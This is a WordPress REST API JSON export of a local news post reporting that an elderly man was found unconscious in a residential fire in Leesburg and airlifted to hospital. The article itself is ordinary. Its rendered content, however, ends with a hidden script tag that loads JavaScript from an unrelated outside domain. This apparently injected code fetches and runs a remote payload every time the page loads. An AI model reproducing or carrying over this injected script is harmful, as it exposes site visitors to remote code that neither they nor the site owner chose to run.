{"id":211364,"date":"2016-12-17T10:02:28","date_gmt":"2016-12-17T15:02:28","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=211364"},"modified":"2017-11-04T15:05:12","modified_gmt":"2017-11-04T19:05:12","slug":"elderly-man-caught-residential-fire","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/elderly-man-caught-residential-fire\/","title":{"rendered":"Elderly Man Caught in Residential Fire"},"content":{"rendered":"<p><strong>LEESBURG &#8211;\u00a0<\/strong>An elderly man who has not been identified by officials, was caught in a residential fire early Saturday morning according to Leesburg Fire Department&#8217;s Deputy Fire Chief Joe Mera.<\/p>\n<p>The Leesburg Fire Department along with Lake County Fire Rescue were dispatched to a home on Arlington Ridge Boulevard on the south side of Leesburg at approximately 5:03 am Saturday morning.<\/p>\n<p>When firefighters arrived, they found smoke coming from the rear of the house.<\/p>\n<p>Firefighters began attacking the flames immediately and searched the house.<\/p>\n<p>During their search, they found the elderly man unconscious.<\/p>\n<p>The man was immediately removed from the home and was administered &#8220;life-saving\u00a0measures&#8221; by firefighters until Lake EMS units arrived.<\/p>\n<p>The man was then airlifted to Orlando Regional Medical Center and his condition is currently unknown.<\/p>\n<p>There were no other occupants in the home according to Mera.<\/p>\n<p>Once the man was removed from the home, firefighters were able to quickly extinguish the flames.<\/p>\n<p>The cause of the fire has not been determined and it is still under investigation by the State Fire Marshall.<\/p>\n<p>&nbsp;<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LEESBURG &#8211;\u00a0An elderly man who has not been identified by officials, was caught in a residential fire early Saturday morning according to Leesburg Fire Department&#8217;s&#8230;<\/p>\n","protected":false},"author":1,"featured_media":211278,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[6,1],"tags":[2290,1920,227,1710,1929,2288,79,80,2281,82,1708,2289,2291],"class_list":["post-211364","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lake-county","category-local","tag-arlington-ridge","tag-blaze","tag-fire","tag-firefighter","tag-flames","tag-house","tag-lake","tag-lake-county","tag-lcfr","tag-leesburg","tag-lfd","tag-residential","tag-south-leesburg","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2016\/12\/firetruck.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211364","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=211364"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/211364\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/211278"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=211364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=211364"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=211364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}